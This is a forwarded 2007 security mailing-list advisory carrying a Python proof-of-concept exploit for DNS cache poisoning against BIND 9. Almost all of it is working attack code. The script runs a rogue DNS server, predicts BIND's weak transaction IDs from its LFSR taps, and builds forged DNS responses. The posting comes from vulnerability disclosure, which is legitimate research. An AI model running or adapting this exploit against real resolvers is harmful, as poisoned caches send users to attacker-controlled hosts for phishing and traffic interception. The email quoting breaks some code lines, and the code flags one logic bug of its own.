> -----Original Message-----
> From: SecuriTeam [mailto:support@xxxxxxxxxxxxxx]
> Sent: Tuesday, August 07, 2007 1:41 PM
> To: html-list@xxxxxxxxxxxxxx
> Subject: [EXPL] DNS Cache Poison (BIND 9)
>
>
>
>
> DNS Cache Poison (BIND 9)
>
>
>
> A vulnerability in BIND 9 allows remote attackers to cause a
> cache poisoning attack against it, the following exploit code
> is a proof of concept to the details published here BIND 9
> DNS Cache Poisoning
> <> .
>
>
> Exploit:
> #!/usr/bin/env python
>
> """
> DNS Cache Poison v0.3beta by posedge
> based on the Amit Klein paper:
>
>
> output: <time>:<ip>:<port>: id: <id> q: <query> g: <good> e: <error>
>
> id: ID to predict
> q: number of queries from the DNS server (only queries with
> LSB at 0 in ID)
> g: number of good predicted IDs
> e: number of errors while trying to predict a *supposed to
> be* predicted ID
> """
>
> import socket, select, sys, time
> from struct import unpack, pack
> from socket import htons
>
> _ANSWER_TIME_LIMIT = 1.0 # 1sec
> _NAMED_CONF = [[<your_dns1_hostname>, <your_dns1_ip>], > [<your_dns2_hostname>, <your_dns2_ip>], > [<etc>, <etc>]]
>
> class BINDSimplePredict:
> def __init__(self, txid, bind_9_2_3___9_4_1=True):
> self.txid = txid
> self.cand = []
> if bind_9_2_3___9_4_1 == True:
> # For BIND9 v9.2.3-9.4.1:
> self.tap1=0x80000057
> self.tap2=0x80000062
> else:
> # For BIND9 v9.0.0-9.2.2:
> self.tap1=0xc000002b # (0x80000057>>1)|(1<<31)
> self.tap2=0xc0000061 # (0x800000c2>>1)|(1<<31)
> self.next = self.run()
> return
>
> def run(self):
>
> if (self.txid & 1) != 0:
> #print "info: LSB is not 0. Can't predict the next
> transaction ID."
> return False
>
> #print "info: LSB is 0, predicting..."
>
> # One bit shift (assuming the two lsb's are 0 and 0)
> for msb in xrange(0, 2):
> self.cand.append(((msb<<15)|(self.txid>>1)) & 0xFFFF)
>
> # Two bit shift (assuming the two lsb's are 1 and 1)
> # First shift (we know the lsb is 1 in both LFSRs):
> v=self.txid
> v=(v>>1)^self.tap1^self.tap2
> if (v & 1) == 0:
> # After the first shift, the lsb becomes 0, so the two
> LFSRs now have
> # identical lsb's: 0 and 0 or 1 and 1
> # Second shift:
> v1=(v>>1) # 0 and 0
> v2=(v>>1)^self.tap1^self.tap2 # 1 and 1
> else:
> # After the first shift, the lsb becomes 1, so the two
> LFSRs now have
> # different lsb's: 1 and 0 or 0 and 1
> # Second shift:
> v1=(v>>1)^self.tap1 # 1 and 0
> v2=(v>>1)^self.tap2 # 0 and 1
>
> # Also need to enumerate over the 2 msb's we are clueless about
> for msbits in xrange(0, 4):
> self.cand.append(((msbits<<14)|v1) & 0xFFFF)
> self.cand.append(((msbits<<14)|v2) & 0xFFFF)
>
> return True;
>
> class DNSData:
> def __init__(self, data):
> self.data=data
> self.name=''
>
> for i in xrange(12, len(data)):
> self.name+=data[i]
> if data[i] == '\x00':
> break
> q_type = unpack(">H", data[i+1:i+3])[0]
> if q_type != 1: # only type: A (host address) allowed.
> self.name = None
> return
>
> def response(self, ip=None):
> packet=''
> packet+=self.data[0:2] # id
> packet+="\x84\x10" # flags
> packet+="\x00\x01" # questions
> packet+="\x00\x01" # answer RRS
> packet+="\x00\x00" # authority RRS
> packet+="\x00\x00" # additional RRS
> packet+=self.name # queries: name
> packet+="\x00\x01" # queries: type (A)
> packet+="\x00\x01" # queries: class (IN)
> packet+="\xc0\x0c" # answers: name
> if ip == None:
> packet+="\x00\x05" # answers: type (CNAME)
> packet+="\x00\x01" # answers: class (IN)
> packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
> packet+=pack(">H", len(self.name)+2) # answers: data length
> packet+="\x01" + "x" + self.name # answers: primary name
> else:
> packet+="\x00\x01" # answers: type (A)
> packet+="\x00\x01" # answers: class (IN)
> packet+="\x00\x00\x00\x01" # answers: time to live (1sec)
> packet+="\x00\x04" # answers: data length
> packet+=str.join('',map(lambda x: chr(int(x)),
> ip.split('.'))) # IP
> #packet+="\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00" #
> Additional
> return packet
>
> class DNSServer:
> def __init__(self):
> self.is_r = []
> self.is_w = []
> self.is_e = []
> self.targets = []
> self.named_conf = []
>
> for i in xrange(len(_NAMED_CONF)):
> start = 0
> tmp = ''
> for j in xrange(len(_NAMED_CONF[i][0])):
> if _NAMED_CONF[i][0][j] == '.':
> tmp += chr(j - start)
> tmp += _NAMED_CONF[i][0][start:j]
> start = j + 1
> tmp += chr(j - start + 1)
> tmp += _NAMED_CONF[i][0][start:] + "\x00"
> self.named_conf.append([tmp, _NAMED_CONF[i][1]])
> return
>
> def run(self):
> self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
> self.s.bind(('',53))
> self.is_r.append(self.s)
> next = False
> i = 0
>
> while 1:
> r, w, e = select.select(self.is_r, self.is_w, self.is_e, 1.0)
> if r:
> try:
> data, addr = self.s.recvfrom(1024)
> except socket.error:
> continue
>
> txid = unpack(">H", data[0:2])[0]
> p=DNSData(data)
> if p.name == None:
> continue
>
> found = False
>
> for j in xrange(len(self.named_conf)):
> if p.name == self.named_conf[j][0]:
> found = True
> break
>
> if found == True:
> self.s.sendto(p.response(self.named_conf[j][1]), addr)
> continue
>
> # FIXME: wrong code, 'i' is 0 at begin and when 1
> item in list...
> for i in xrange(len(self.targets)):
> if self.targets[i][0] == addr[0]:
> break
> if i == len(self.targets):
> self.targets.append([addr[0], False, time.time(),
> [None, None], > None, 0, 0, 0])
>
> if self.targets[i][1] == False:
> bsp = BINDSimplePredict(txid)
> self.targets[i][1] = bsp.next
> self.targets[i][3][0] = bsp.cand
> bsp = BINDSimplePredict(txid, False)
> self.targets[i][3][1] = bsp.cand
> else:
> if p.name == self.targets[i][4]:
> elapsed = time.time() - self.targets[i][2]
> if elapsed > _ANSWER_TIME_LIMIT:
> print 'info: slow answer, discarding (%.2f
> sec)' % elapsed
> else:
> self.targets[i][5] += 1
> found_v1 = False
> found_v2 = False
> for j in xrange(10):
> if self.targets[i][3][0][j] == txid:
> found_v1 = True
> break
> if self.targets[i][3][1][j] == txid:
> found_v2 = True
> break
>
> if found_v1 == True or found_v2 == True:
> self.targets[i][6] += 1
> else:
> self.targets[i][7] += 1
>
> # TODO: if found_v1 or found_v2 is True, then
> show bind version!
> print "\n" + str(i) + ' target:', self.targets
> print '%f:%s:%d: id: %04x q: %d g: %d e: %d' %
> (time.time(), > addr[0], addr[1], txid, self.targets[i][5], > self.targets[i][6], self.targets[i][7])
> self.targets[i][1] = False
> self.targets[i][2] = time.time()
> self.targets[i][4] = "\x01" + "x" + p.name
> self.s.sendto(p.response(), addr)
> return
>
> def close(self):
> self.s.close()
> return
>
> if __name__ == '__main__':
> dns_srv = DNSServer()
>
> try:
> dns_srv.run()
> except KeyboardInterrupt:
> print 'ctrl-c, leaving...'
> dns_srv.close()
>
>
> Additional Information:
> The information has been provided by kralor
> <mailto:kralor@xxxxxxxxxxxxxx> .
>
>
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